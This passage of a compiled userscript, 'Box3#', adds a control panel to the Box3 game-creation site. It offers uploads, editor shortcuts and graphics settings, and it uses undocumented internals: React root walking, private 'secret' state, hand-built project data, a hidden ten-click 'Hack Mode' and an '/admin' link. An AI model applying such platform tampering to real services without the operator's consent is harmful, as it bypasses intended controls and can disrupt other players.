  3970. "ui.windowPos": [0, 0],
  3971. "home.showcaseCols": 4,
  3972. "home.hideCarousel": false
  3973. };
  3974. function startLoading(text = "Please wait...") {
  3975. Swal.fire({
  3976. titleText: "请稍等",
  3977. allowOutsideClick: false,
  3978. text,
  3979. showConfirmButton: false
  3980. });
  3981. Swal.showLoading(null);
  3982. return () => Swal.close();
  3983. }
  3984. function showUploadFile(multiple = false, accept = "") {
  3985. return new Promise((ok) => {
  3986. const result = [];
  3987. const input = document.createElement("input");
  3988. input.type = "file";
  3989. input.accept = accept;
  3990. input.multiple = multiple;
  3991. input.style.opacity = "0";
  3992. document.body.append(input);
  3993. input.click();
  3994. input.addEventListener("change", async () => {
  3995. input.remove();
  3996. for (let i = 0; i < input.files.length; i++) {
  3997. let isRetry = false;
  3998. const file = input.files.item(i);
  3999. if (!file)
  4000. return;
  4001. do {
  4002. try {
  4003. result.push({
  4004. ...await uploadHash(file, file.name),
  4005. filename: file.name
  4006. });
  4007. isRetry = false;
  4008. } catch (e) {
  4009. const res = e;
  4010. await Swal.fire({
  4011. title: `上传失败`,
  4012. text: `${res.status} ${res.statusText}
  4013. ${await res.text()} 即将重试`,
  4014. timer: 3e3,
  4015. icon: "error"
  4016. });
  4017. isRetry = true;
  4018. }
  4019. } while (isRetry);
  4020. }
  4021. ok(result);
  4022. });
  4023. });
  4024. }
  4025. function sleep(ms) {
  4026. return new Promise((r) => setTimeout(r, ms));
  4027. }
  4028. async function uploadHash(data, name = "") {
  4029. const removeLoading = startLoading("正在上传" + name);
  4030. const res = await fetch("https://static.box3.codemao.cn/block", {
  4031. method: "POST",
  4032. body: data
  4033. });
  4034. removeLoading();
  4035. if (res.ok)
  4036. return await res.json();
  4037. else
  4038. throw res;
  4039. }
  4040. async function waitElement(query) {
  4041. let el;
  4042. while (true) {
  4043. el = document.querySelector(query);
  4044. if (el)
  4045. return el;
  4046. await new Promise(requestAnimationFrame);
  4047. }
  4048. }
  4049. async function waitUntil(f) {
  4050. while (!f())
  4051. await new Promise(requestAnimationFrame);
  4052. }
  4053. let settings = {
  4054. ...defaultConfig,
  4055. ...GM_getValue("settings", {})
  4056. };
  4057. function getSetting(k) {
  4058. return { ...settings }[k];
  4059. }
  4060. function setSetting(k, v) {
  4061. Object.assign(settings, { [k]: v });
  4062. saveSettings();
  4063. }
  4064. function saveSettings() {
  4065. GM_setValue("settings", settings);
  4066. }
  4067. function resetSettings() {
  4068. GM_setValue("settings", defaultConfig);
  4069. location.reload();
  4070. }
  4071. function reloadSettings() {
  4072. settings = GM_getValue("settings", defaultConfig);
  4073. }
  4074. function addFunctionButton(gui2, func, name) {
  4075. const btn = gui2.add(
  4076. {
  4077. func: () => {
  4078. btn.name("⏳ 正在执行操作...");
  4079. btn.disable();
  4080. func().then(() => {
  4081. btn.name(name);
  4082. btn.enable();
  4083. });
  4084. }
  4085. },
  4086. "func"
  4087. ).name(name);
  4088. }
  4089. function addLabel(gui2, name) {
  4090. const btn = gui2.add(
  4091. {
  4092. func: () => {
  4093. }
  4094. },
  4095. "func"
  4096. ).name(name);
  4097. btn.disable();
  4098. return btn;
  4099. }
  4100. function setupMagicCursor() {
  4101. Promise.resolve().then(() => magicCursorStyle$1);
  4102. function addStyle() {
  4103. const style = document.createElement("style");
  4104. style.textContent = "*{cursor:none !important;}";
  4105. document.body.appendChild(style);
  4106. }
  4107. addStyle();
  4108. const canvas = document.createElement("canvas");
  4109. const ctx = canvas.getContext("2d");
  4110. let mousePos = [0, 0];
  4111. let pos = [0, 0];
  4112. const MAX_LENGTH = 30;
  4113. let points = [];
  4114. const ripples = [];
  4115. function resize() {
  4116. canvas.height = innerHeight * devicePixelRatio;
  4117. canvas.width = innerWidth * devicePixelRatio;
  4118. }
  4119. addEventListener("resize", resize);
  4120. document.body.addEventListener("mousemove", ({ clientX, clientY }) => {
  4121. mousePos = [clientX * devicePixelRatio, clientY * devicePixelRatio];
  4122. });
  4123. addEventListener("mousedown", () => {
  4124. ripples.push([...mousePos, 0]);
  4125. });
  4126. addEventListener("wheel", ({ deltaY }) => {
  4127. pos[1] -= deltaY * 0.1;
  4128. });
  4129. resize();
  4130. canvas.classList.add("magic-cursor-canvas");
  4131. document.body.append(canvas);
  4132. function frame() {
  4133. if (document.pointerLockElement) {
  4134. canvas.style.opacity = "0";
  4135. mousePos = [
  4136. innerWidth * devicePixelRatio / 2,
  4137. innerHeight * devicePixelRatio / 2
  4138. ];
  4139. } else {
  4140. canvas.style.opacity = settings["magicCursor.opacity"].toString();
  4141. }
  4142. ctx.clearRect(0, 0, canvas.width, canvas.height);
  4143. requestAnimationFrame(frame);
  4144. pos[0] += (mousePos[0] - pos[0]) / 5;
  4145. pos[1] += (mousePos[1] - pos[1]) / 5;
  4146. ctx.lineJoin = "round";
  4147. ctx.lineCap = "round";
  4148. for (let i = 0; i < points.length; i++) {
  4149. const a = i / MAX_LENGTH;
  4150. ctx.beginPath();
  4151. if (i > 0)
  4152. ctx.moveTo(points[i - 1][0], points[i - 1][1]);
  4153. ctx.lineTo(points[i][0], points[i][1]);
  4154. ctx.strokeStyle = `${settings["magicCursor.color"]}${Math.round(a * 255).toString(16).padStart(2, "0")}`;
  4155. ctx.lineWidth = a * 20;
  4156. ctx.closePath();
  4157. ctx.stroke();
  4158. }
  4159. for (let r of ripples) {
  4160. ctx.beginPath();
  4161. ctx.arc(r[0], r[1], r[2] * 30, 0, Math.PI * 2);
  4162. ctx.fillStyle = `${settings["magicCursor.rippleColor"]}${Math.round(
  4163. (1 - r[2]) * 255
  4164. ).toString(16).padStart(2, "0")}`;
  4165. ctx.closePath();
  4166. ctx.fill();
  4167. r[2] += (1 - r[2]) / 10;
  4168. }
  4169. for (let i = 0; i < ripples.length; i++) {
  4170. if (ripples[i][2] >= 0.999)
  4171. ripples.splice(i, 1);
  4172. }
  4173. ctx.closePath();
  4174. points.push([...pos]);
  4175. ctx.beginPath();
  4176. ctx.arc(mousePos[0], mousePos[1], 3, 0, Math.PI * 2);
  4177. ctx.fillStyle = settings["magicCursor.rippleColor"];
  4178. ctx.closePath();
  4179. ctx.fill();
  4180. while (points.length > MAX_LENGTH) {
  4181. points.splice(0, 1);
  4182. }
  4183. }
  4184. frame();
  4185. }
  4186. function HashTools(gui2) {
  4187. const f = gui2.addFolder("Hash工具");
  4188. f.close();
  4189. addFunctionButton(
  4190. f,
  4191. async () => {
  4192. const input = document.createElement("input");
  4193. input.type = "file";
  4194. input.style.opacity = "0";
  4195. document.body.append(input);
  4196. input.click();
  4197. input.addEventListener("change", async () => {
  4198. const file = input.files[0];
  4199. input.remove();
  4200. if (!file)
  4201. return;
  4202. try {
  4203. const obj = await uploadHash(file);
  4204. navigator.clipboard.writeText(obj.Key);
  4205. if ((await Swal.fire({
  4206. title: "上传完成",
  4207. html: `HashKey: ${obj.Key}<br/>大小: ${obj.Size}<br/>已将Hash复制到剪贴板`,
  4208. cancelButtonText: "关闭",
  4209. confirmButtonText: "打开Hash链接",
  4210. showCancelButton: true,
  4211. icon: "info"
  4212. })).isConfirmed)
  4213. open(`https://static.box3.codemao.cn/block/${obj.Key}`);
  4214. } catch (e) {
  4215. const res = e;
  4216. Swal.fire(
  4217. `上传失败`,
  4218. `${res.status} ${res.statusText}
  4219. ${await res.text()}`,
  4220. "error"
  4221. );
  4222. }
  4223. });
  4224. },
  4225. "上传文件"
  4226. );
  4227. const f2 = f.addFolder("打开Hash");
  4228. addFunctionButton(
  4229. f2,
  4230. async () => {
  4231. const text = (await navigator.clipboard.readText()).trim();
  4232. if (!/^Qm[a-zA-Z0-9]+$/.test(text))
  4233. return Swal.fire(
  4234. "Hash无效",
  4235. `剪贴板中的内容并不是一个有效的hash`,
  4236. "error"
  4237. );
  4238. open(`https://static.box3.codemao.cn/block/${text}`);
  4239. return;
  4240. },
  4241. "打开剪贴板中的hash"
  4242. );
  4243. }
  4244. function updateUIProperty() {
  4245. const element = document.querySelector(".lil-gui.root");
  4246. element.style.opacity = settings["ui.opacity"].toString();
  4247. element.style.width = settings["ui.width"].toString() + "px";
  4248. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4249. element.style.setProperty(
  4250. "--border-radius",
  4251. settings["ui.borderRound"] ? "5px" : "0"
  4252. );
  4253. element.style.setProperty("--blur", settings["ui.blur"].toString() + "px");
  4254. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4255. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4256. }
  4257. function Box3SharpConfig(gui2) {
  4258. updateUIProperty();
  4259. const f = gui2.addFolder("Box3#设置");
  4260. f.close();
  4261. let enableHackClickCount = 0;
  4262. if (!getSetting("flag.hackMode"))
  4263. f.add(
  4264. {
  4265. async f() {
  4266. enableHackClickCount++;
  4267. if (enableHackClickCount == 10) {
  4268. if ((await Swal.fire({
  4269. title: "Enable Hack Mode",
  4270. text: "启用后所造成的一切后果均需要自行承担",
  4271. icon: "warning",
  4272. showConfirmButton: true,
  4273. showCancelButton: true,
  4274. confirmButtonText: "Enable and reload",
  4275. cancelButtonText: "取消"
  4276. })).isConfirmed) {
  4277. setSetting("flag.hackMode", true);
  4278. location.reload();
  4279. } else
  4280. enableHackClickCount = 0;
  4281. }
  4282. }
  4283. },
  4284. "f"
  4285. ).name("▰▰▰ Box3 Sharp ▰▰▰");
  4286. else
  4287. f.add(
  4288. {
  4289. f() {
  4290. setSetting("flag.hackMode", false);
  4291. location.reload();
  4292. }
  4293. },
  4294. "f"
  4295. ).name("Disable Hack Mode");
  4296. f.add(settings, "ui.opacity", 0.1, 1).name("UI透明度").onChange(updateUIProperty);
  4297. f.add(settings, "ui.width", 200, 800).name("UI宽度").onFinishChange(updateUIProperty);
  4298. f.addColor(settings, "ui.primaryColor").name("主题颜色").onChange(updateUIProperty);
  4299. f.add(settings, "ui.blur", 0, 10).name("背景模糊度").onChange(updateUIProperty);
  4300. f.add(settings, "ui.borderRound").name("控件圆角").onFinishChange(updateUIProperty);
  4301. const mcf = f.addFolder("鼠标特效");
  4302. mcf.add(settings, "magicCursor.enable").name("启用鼠标特效(需要刷新)");
  4303. mcf.addColor(settings, "magicCursor.color").name("光标拖尾颜色");
  4304. mcf.addColor(settings, "magicCursor.rippleColor").name("波纹颜色");
  4305. mcf.add(settings, "magicCursor.opacity", 0.1, 1).name("图层透明度");
  4306. addFunctionButton(
  4307. f,
  4308. async () => {
  4309. saveSettings();
  4310. location.reload();
  4311. },
  4312. "保存并刷新"
  4313. );
  4314. addFunctionButton(
  4315. f,
  4316. async () => {
  4317. reloadSettings();
  4318. location.reload();
  4319. },
  4320. "不保存并刷新"
  4321. );
  4322. addFunctionButton(
  4323. f,
  4324. async () => {
  4325. resetSettings();
  4326. },
  4327. "还原为默认值"
  4328. );
  4329. }
  4330. const global$1 = "";
  4331. const guiOverride = "";
  4332. const swalOverride = "";
  4333. let gui;
  4334. let containerWindowElement = document.createElement("div");
  4335. document.body.append(containerWindowElement);
  4336. let dragHandle = document.createElement("div");
  4337. let windowPos = [...settings["ui.windowPos"]];
  4338. containerWindowElement.append(dragHandle);
  4339. let isPlaneDragging = false;
  4340. containerWindowElement.classList.add("container-window");
  4341. dragHandle.classList.add("handle");
  4342. dragHandle.textContent = "拖动以移动窗口";
  4343. dragHandle.addEventListener("mousedown", () => isPlaneDragging = true);
  4344. function updateWindowPosition() {
  4345. containerWindowElement.style.left = ~~windowPos[0] + "px";
  4346. containerWindowElement.style.top = ~~windowPos[1] + "px";
  4347. }
  4348. updateWindowPosition();
  4349. addEventListener("mousemove", ({ movementX, movementY }) => {
  4350. if (isPlaneDragging) {
  4351. windowPos[0] += movementX;
  4352. windowPos[1] += movementY;
  4353. updateWindowPosition();
  4354. }
  4355. });
  4356. addEventListener("mouseup", () => {
  4357. isPlaneDragging = false;
  4358. if (windowPos[1] < 0)
  4359. windowPos[1] = 0;
  4360. if (windowPos[0] < 0)
  4361. windowPos[0] = 0;
  4362. if (windowPos[1] > innerHeight - 50)
  4363. windowPos[1] = innerHeight - 50;
  4364. if (windowPos[0] > innerWidth - settings["ui.width"])
  4365. windowPos[0] = innerWidth - settings["ui.width"];
  4366. settings["ui.windowPos"] = [...windowPos];
  4367. saveSettings();
  4368. updateWindowPosition();
  4369. });
  4370. function main() {
  4371. gui = new GUI({ width: 400, autoPlace: false });
  4372. containerWindowElement.append(gui.domElement);
  4373. gui.title(`Box3# v${GM_info.script.version} by AlanBestHacker`);
  4374. console.log(GM_info);
  4375. if (GM_info.scriptWillUpdate) {
  4376. addFunctionButton(
  4377. gui,
  4378. async () => {
  4379. GM_openInTab(
  4380. GM_info.scriptUpdateURL || "https://gf.qytechs.cn/zh-CN/scripts/456978-box3-sharp"
  4381. );
  4382. },
  4383. "🎉更新到最新版本"
  4384. );
  4385. }
  4386. async function matchModule() {
  4387. const matches = {
  4388. "box3.fun": "Box3Fun",
  4389. "/me/content($|.+map)": "MapContent",
  4390. "/p/": "Play",
  4391. "/e/": "Editor",
  4392. "box3.codemao.cn/": "Home"
  4393. };
  4394. for (let r of Object.keys(matches)) {
  4395. if (new RegExp(r).test(location.href)) {
  4396. try {
  4397. const func = (await __variableDynamicImportRuntimeHelper(/* @__PURE__ */ Object.assign({ "./modules/Box3Fun.ts": () => Promise.resolve().then(() => Box3Fun$1), "./modules/Editor.ts": () => Promise.resolve().then(() => Editor$1), "./modules/Home.ts": () => Promise.resolve().then(() => Home$1), "./modules/MapContent.ts": () => Promise.resolve().then(() => MapContent$1), "./modules/Play.ts": () => Promise.resolve().then(() => Play$1) }), `./modules/${matches[r]}.ts`)).default;
  4398. func(gui);
  4399. } catch (e) {
  4400. addLabel(gui, `❌ 模块 ${matches[r]} 加载失败`);
  4401. console.error(e);
  4402. }
  4403. }
  4404. }
  4405. }
  4406. matchModule();
  4407. HashTools(gui);
  4408. Box3SharpConfig(gui);
  4409. }
  4410. let lastHref = "";
  4411. setInterval(() => {
  4412. if (location.href != lastHref) {
  4413. lastHref = location.href;
  4414. if (gui)
  4415. gui.destroy();
  4416. main();
  4417. }
  4418. }, 100);
  4419. if (settings["magicCursor.enable"])
  4420. setupMagicCursor();
  4421. const magicCursorStyle = "canvas.magic-cursor-canvas {\n height: 100vh;\n width: 100vw;\n position: fixed;\n top: 0;\n left: 0;\n z-index: 9999999999;\n opacity: 0.5;\n pointer-events: none;\n transition: opacity 0.25s;\n}\n";
  4422. const magicCursorStyle$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4423. __proto__: null,
  4424. default: magicCursorStyle
  4425. }, Symbol.toStringTag, { value: "Module" }));
  4426. function Box3Fun(gui2) {
  4427. addFunctionButton(
  4428. gui2,
  4429. async () => {
  4430. startLoading();
  4431. location.href = "https://box3.codemao.cn";
  4432. },
  4433. "跳转到box3.codemao.cn"
  4434. );
  4435. addFunctionButton(
  4436. gui2,
  4437. async () => {
  4438. location.href = "/admin";
  4439. },
  4440. "进入后台(仅限官方)"
  4441. );
  4442. }
  4443. const Box3Fun$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4444. __proto__: null,
  4445. default: Box3Fun
  4446. }, Symbol.toStringTag, { value: "Module" }));
  4447. function GraphicSettings(getCore, state, gui2, needSetSettings = true) {
  4448. const settingsFolder = gui2.addFolder("🎮 高级画质设定").close();
  4449. var VFXSettingsFolder = settingsFolder.addFolder("📈 视觉&性能").close();
  4450. var particleSettingsFolder = settingsFolder.addFolder("💻 后处理特效").close();
  4451. var postProcessSettingsFolder = settingsFolder.addFolder("🎵 音量合成器").close();
  4452. var cameraSettingsFolder = settingsFolder.addFolder("📷 摄像机控制").close();
  4453. var SFXSettingsFolder = settingsFolder.addFolder("✨ 实体粒子数量").close();
  4454. var graphicSettings = state.box3.state.settings;
  4455. [
  4456. VFXSettingsFolder.add(graphicSettings, "resolutionScale", {
  4457. 极低: 0.1,
  4458. 非常低: 0.2,
  4459. 低: 0.3,
  4460. 中: 0.5,
  4461. 高: 0.7,
  4462. 较高: 0.8,
  4463. 全高清: 1,
  4464. "超采样(1.1x)": 1.1,
  4465. "超采样(1.25x)": 1.25,
  4466. "超采样(1.5x)": 1.5,
  4467. "超采样(2.0x)": 2,
  4468. "超采样(2.5x)": 2.5,
  4469. "超采样(3.0x)": 3,
  4470. "超采样(4.0x)": 4
  4471. }).name("清晰度(重进生效)"),
  4472. VFXSettingsFolder.add(
  4473. graphicSettings,
  4474. "animationQuality",
  4475. {
  4476. 低: 0,
  4477. 中: 100,
  4478. 高: 200
  4479. },
  4480. 1
  4481. ).name("动画质量"),
  4482. VFXSettingsFolder.add(graphicSettings, "drawDistance", {
  4483. 非常近: 16,
  4484. 近: 32,
  4485. 中: 64,
  4486. 远: 128,
  4487. 较远: 256,
  4488. 非常远: 512,
  4489. 极远: 1024,
  4490. 荒唐: 2048,
  4491. 疯狂: 4096
  4492. }).name("视野距离"),
  4493. VFXSettingsFolder.add(
  4494. graphicSettings,
  4495. "cameraSensitivity",
  4496. 0.01,
  4497. 3,
  4498. 0.01
  4499. ).name("视角灵敏度"),
  4500. VFXSettingsFolder.add(graphicSettings, "safeShaders").name(
  4501. "安全光影(追求极致效果请关闭)"
  4502. ),
  4503. VFXSettingsFolder.add(graphicSettings, "shadowResolution", {
  4504. 关闭: 0,
  4505. 极低: 128,
  4506. 低: 512,
  4507. 中: 1024,
  4508. 高: 2048,
  4509. 非常高: 4096
  4510. }).name("阴影质量"),
  4511. VFXSettingsFolder.add(graphicSettings, "gamma", 0, 2).name("伽马"),
  4512. VFXSettingsFolder.add(graphicSettings, "lowQualityTextures").name(
  4513. "低质量贴图"
  4514. ),
  4515. VFXSettingsFolder.add(graphicSettings, "hdSky").name("高清天空"),
  4516. VFXSettingsFolder.add(graphicSettings, "reflections").name("反射模式"),
  4517. VFXSettingsFolder.add(graphicSettings, "parallaxMap").name("视差贴图"),
  4518. VFXSettingsFolder.add(
  4519. graphicSettings,
  4520. "parallaxDistance",
  4521. 1,
  4522. 128,
  4523. 0.1
  4524. ).name("视差距离"),
  4525. particleSettingsFolder.add(graphicSettings, "postprocess").name("启用后处理特效"),
  4526. particleSettingsFolder.add(graphicSettings, "depthOfField", {
  4527. 关闭: 0,
  4528. 低: 16,
  4529. 中: 32,
  4530. 高: 64,
  4531. 散光: 128
  4532. }).name("景深强度"),
  4533. particleSettingsFolder.add(graphicSettings, "volumetricScattering").name("体积散射"),
  4534. particleSettingsFolder.add(graphicSettings, "bloom").name("荧光特效"),
  4535. particleSettingsFolder.add(graphicSettings, "fxaa").name("FXAA抗锯齿"),
  4536. postProcessSettingsFolder.add(graphicSettings, "masterMute").name("主音量静音"),
  4537. postProcessSettingsFolder.add(graphicSettings, "masterVolume", 0, 1, 0.01).name("主音量大小"),
  4538. postProcessSettingsFolder.add(graphicSettings, "effectsMute").name("音效静音"),
  4539. postProcessSettingsFolder.add(graphicSettings, "effectsVolume", 0, 1).name("音效音量"),
  4540. postProcessSettingsFolder.add(graphicSettings, "maxSoundEffects", 0, 100, 1).name("最大音效数量"),
  4541. postProcessSettingsFolder.add(graphicSettings, "uiMute").name("界面音效静音"),
  4542. postProcessSettingsFolder.add(graphicSettings, "uiVolume", 0, 1, 0.01).name("界面音效音量"),
  4543. postProcessSettingsFolder.add(graphicSettings, "musicMute").name("背景音乐静音"),
  4544. postProcessSettingsFolder.add(graphicSettings, "musicVolume", 0, 1, 0.01).name("背景音乐音量"),
  4545. SFXSettingsFolder.add(graphicSettings, "maxParticles", 0, 131052, 1).name(
  4546. "最大粒子数量"
  4547. ),
  4548. SFXSettingsFolder.add(
  4549. graphicSettings,
  4550. "maxParticleGroups",
  4551. 0,
  4552. 1024,
  4553. 1
  4554. ).name("最大粒子组数量")
  4555. ].forEach(
  4556. (i) => i.onChange(() => {
  4557. if (needSetSettings)
  4558. getCore().setGameSettings(graphicSettings);
  4559. })
  4560. );
  4561. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "distance", 0, 300).name("摄像机距离");
  4562. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "fovY", 0, 1).name("FovY");
  4563. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "mode", {
  4564. "第三人称(FOLLOW)": 0,
  4565. "锁定(FIXED)": 1,
  4566. "第一人称(FPS)": 2,
  4567. 固定方向: 3
  4568. }).name("相机模式");
  4569. cameraSettingsFolder.add(state.box3.state.secret.replica, "enableCursor").name("启用3D光标");
  4570. cameraSettingsFolder.add(state.box3.state, "hideUI").name("隐藏界面");
  4571. cameraSettingsFolder.add({ a: 0 }, "a", { 视角锁定: 0, 右键拖动: 1 }).name("相机操作模式").onChange((v) => {
  4572. state.box3.input.setCameraBindingMode(v);
  4573. });
  4574. }
  4575. async function Editor(gui2) {
  4576. const f = gui2.addFolder("编辑器工具");
  4577. const btn = f.add({ a() {
  4578. } }, "a").name("等待进入地图").disable();
  4579. const rootElement = await waitElement("#edit-react");
  4580. function getCore() {
  4581. return rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props;
  4582. }
  4583. await waitUntil(
  4584. () => {
  4585. var _a, _b, _c, _d;
  4586. return !getCore().onStart && ((_d = (_c = (_b = (_a = getCore()) == null ? void 0 : _a.state) == null ? void 0 : _b.box3) == null ? void 0 : _c.state) == null ? void 0 : _d.appState) == 2;
  4587. }
  4588. );
  4589. const core = getCore();
  4590. btn.destroy();
  4591. function place(gui22, obj) {
  4592. for (let k of Object.keys(obj)) {
  4593. const v = obj[k];
  4594. if (typeof v === "object") {
  4595. const f2 = gui22.addFolder(k);
  4596. place(f2, v);
  4597. } else if (typeof v === "string") {
  4598. addFunctionButton(gui22, async () => getCore().scriptEval(v), k);
  4599. }
  4600. }
  4601. }
  4602. if (getSetting("flag.hackMode"))
  4603. Object.assign(window, { core });
  4604. place(f, {
  4605. 编辑器常用控制台代码: {
  4606. 移动: {
  4607. 所有玩家返回重生点: `world.querySelectorAll("player").forEach(e=>e.player.forceRespawn())`,
  4608. 切换幽灵模式: `world.querySelectorAll("player").forEach(e=>e.player.spectator=!e.player.spectator)`,
  4609. 切换飞行模式: `world.querySelectorAll("player").forEach(e=>e.player.canFly=!e.player.canFly)`,
  4610. 提高飞行速度: `world.querySelectorAll("player").forEach(e=>e.player.flySpeed*=2)`,
  4611. 降低飞行速度: `world.querySelectorAll("player").forEach(e=>e.player.flySpeed/=2)`
  4612. }
  4613. }
  4614. });
  4615. addFunctionButton(
  4616. f,
  4617. async () => {
  4618. const done = startLoading();
  4619. await core.editReplica.stopProject();
  4620. await core.editReplica.startProject();
  4621. done();
  4622. },
  4623. "停止代码并重新开始"
  4624. );
  4625. addFunctionButton(
  4626. f,
  4627. async () => {
  4628. if ((await Swal.fire({
  4629. title: "重启编辑端",
  4630. text: "重启编辑端将会踢出所有玩家并停止编辑器中所有代码,再次启动需要更长时间。仅应用于编辑器卡住等特殊情况,请勿用于恶意用途(重启编辑器需要大约半分钟)",
  4631. confirmButtonText: "确认重启",
  4632. confirmButtonColor: "red",
  4633. showCancelButton: true,
  4634. cancelButtonText: "取消"
  4635. })).isConfirmed) {
  4636. startLoading("正在重启");
  4637. await sleep(2e4);
  4638. core.editReplica.restart();
  4639. location.reload();
  4640. }
  4641. },
  4642. "重启编辑端"
  4643. );
  4644. addFunctionButton(
  4645. f,
  4646. async () => {
  4647. const fileList = await showUploadFile(true, "text/javascript");
  4648. for (let file of fileList) {
  4649. core.assetController.copyAsset(file.filename, {
  4650. contentId: 0,
  4651. hash: file.Key,
  4652. ownerId: 0,
  4653. previewImage: "",
  4654. size: file.Size,
  4655. type: 1
  4656. });
  4657. }
  4658. },
  4659. "批量上传脚本"
  4660. );
  4661. addFunctionButton(
  4662. f,
  4663. async () => {
  4664. const fileList = await showUploadFile(true, "audio/*");
  4665. for (let file of fileList) {
  4666. core.assetController.copyAsset(file.filename, {
  4667. contentId: 0,
  4668. hash: file.Key,
  4669. ownerId: 0,
  4670. previewImage: "",
  4671. size: file.Size,
  4672. type: 6
  4673. });
  4674. }
  4675. },
  4676. "批量上传音频"
  4677. );
  4678. const state = getCore().state;
  4679. GraphicSettings(getCore, state, f, false);
  4680. }
  4681. const Editor$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4682. __proto__: null,
  4683. default: Editor
  4684. }, Symbol.toStringTag, { value: "Module" }));
  4685. function Home(gui2) {
  4686. const f = gui2.addFolder("首页优化");
  4687. const overrideStyle = document.createElement("style");
  4688. document.body.append(overrideStyle);
  4689. function updateConfig() {
  4690. overrideStyle.textContent = `
  4691. ._2p590X3xza5oTJJZ3ToFcx ._1yZ6NeMjfGScb4F10xmspg{
  4692. width: calc(${100 / settings["home.showcaseCols"]}% - 16px)
  4693. }
  4694. ${settings["home.hideCarousel"] ? `
  4695. main > div._2PcVy2PEDRfz4Up6wcJEyU > div > div > div._12-esTLCDOtIXa8nIbuTtV{
  4696. display: none
  4697. }
  4698. ` : ""}
  4699. `;
  4700. }
  4701. updateConfig();
  4702. f.add(settings, "home.showcaseCols", 2, 10, 1).name("每行展示作品个数");
  4703. f.add(settings, "home.hideCarousel").name("隐藏轮播图");
  4704. f.children.forEach(
  4705. (child) => child.onFinishChange(saveSettings).onChange(updateConfig)
  4706. );
  4707. }
  4708. const Home$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4709. __proto__: null,
  4710. default: Home
  4711. }, Symbol.toStringTag, { value: "Module" }));
  4712. function _CustomMap(gui2) {
  4713. const f = gui2.addFolder("自定义地图参数");
  4714. const shapeFolder = f.addFolder("地图尺寸");
  4715. const emptyChunk = "QmYUffAgALxiUQonbhAVXjknTq3dNf3AfHQGQ8P5xny7TU";
  4716. const config = {
  4717. shape: {
  4718. x: 128,
  4719. y: 128,
  4720. z: 128
  4721. },
  4722. enableTriggerAPI: false,
  4723. storageMode: "sqlite",
  4724. scriptIndex: "index.js",
  4725. name: "空白自定义地图"
  4726. };
  4727. const create = async () => {
  4728. const errors = [];
  4729. const V = config.shape.x * config.shape.y * config.shape.z;
  4730. if (V >= 67108864) {
  4731. errors.push("地图总体积不得超过67108864");
  4732. }
  4733. if (!/^.+\.js$/.test(config.scriptIndex)) {
  4734. errors.push("脚本入口错误");
  4735. }
  4736. if (errors.length > 0) {
  4737. return Swal.fire({
  4738. title: `输入有误`,
  4739. html: "您输入的参数存在以下问题<br/>" + errors.map((i) => "⚠ " + i).join("<br/>"),
  4740. icon: "error"
  4741. });
  4742. }
  4743. try {
  4744. let buildVoxelChunks = function() {
  4745. var chunks = [], xx = config.shape.x / 32, yy = config.shape.y / 32, zz = config.shape.z / 32;
  4746. for (let i = 1; i < zz; i++) {
  4747. chunks = chunks.concat(
  4748. new Array(xx - 1).fill(
  4749. "QmY4M7B58dARVAJyYf7aonuGjNnaUFUusCQXq9tmifLEKY"
  4750. )
  4751. );
  4752. chunks.push("Qmcoad9FnMdKGbxn5ifLdCaivVi6T7E2bmDVAdJbwuRD2a");
  4753. chunks = chunks.concat(new Array((yy - 1) * xx).fill(emptyChunk));
  4754. }
  4755. chunks = chunks.concat(
  4756. new Array(xx - 1).fill(
  4757. "QmaCUNCe7XDEnXJqprgikquGk6H5nkMegxi77h2aaRyc2b"
  4758. )
  4759. );
  4760. chunks.push("QmX49DZMGEY9ANyzfbrWhiEKk1hkz9SRpFn2NTKMRUjQzj");
  4761. chunks = chunks.concat(new Array((yy - 1) * xx).fill(emptyChunk));
  4762. return chunks;
  4763. };
  4764. const voxelsHash = (await uploadHash(
  4765. JSON.stringify({
  4766. chunks: buildVoxelChunks(),
  4767. shape: config.shape
  4768. })
  4769. )).Key;
  4770. console.log("Voxels Hash", voxelsHash);
  4771. const projectHash = (await uploadHash(
  4772. JSON.stringify({
  4773. ambientSound: "QmcNbLSSQfVcDpH9jSX38RSVrL1SZK3vNMZwaP7cMkKqvY",
  4774. assets: "QmQ7F5ee4rxLn5UQgjKrrtaX1Qif1P48NxYiSv3damw5G3",
  4775. collisionFilter: [],
  4776. committerId: 0,
  4777. deleteAssets: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN",
  4778. editRoot: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN",
  4779. entities: "QmSvPd3sHK7iWgZuW47fyLy4CaZQe2DwxvRhrJ39VpBVMK",
  4780. environment: "QmSnYEH7wPftKcr8qDaBWf5PrbHrqKbqEhTUthQsDuhPqV",
  4781. features: { enableTriggerAPI: config.enableTriggerAPI },
  4782. folders: "QmSvPd3sHK7iWgZuW47fyLy4CaZQe2DwxvRhrJ39VpBVMK",
  4783. info: "QmbpXhRWRMdN4y6CZ4VsPXkkuNfvFSPoSkKn86BVzYh26w",
  4784. physics: "QmTzt6Z6Mm11NQjTeXspDMJtddzDadzwhgwfWUtNG5XCrD",
  4785. player: "QmUMttRLjZYCpW6gLBiLZsCq3VNjWCnK4NtqYaBYJ1GCyh",
  4786. prevHash: "QmcfC4xGX69j1dcgUb3gZS9a9qjCR8aVah1PjQspUVNYvH",
  4787. scriptAssets: "Qmcv3WHWrFohnJXxk2qdV2hk6CE6vQ4BzWMVsE2qFVXV9j",
  4788. scriptIndex: config.scriptIndex,
  4789. storageMode: config.storageMode,
  4790. timestamp: new Date().toISOString(),
  4791. type: "project",
  4792. version: "0.3.11",
  4793. voxels: voxelsHash,
  4794. zones: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN"
  4795. })
  4796. )).Key;
  4797. console.log("Project Hash", projectHash);
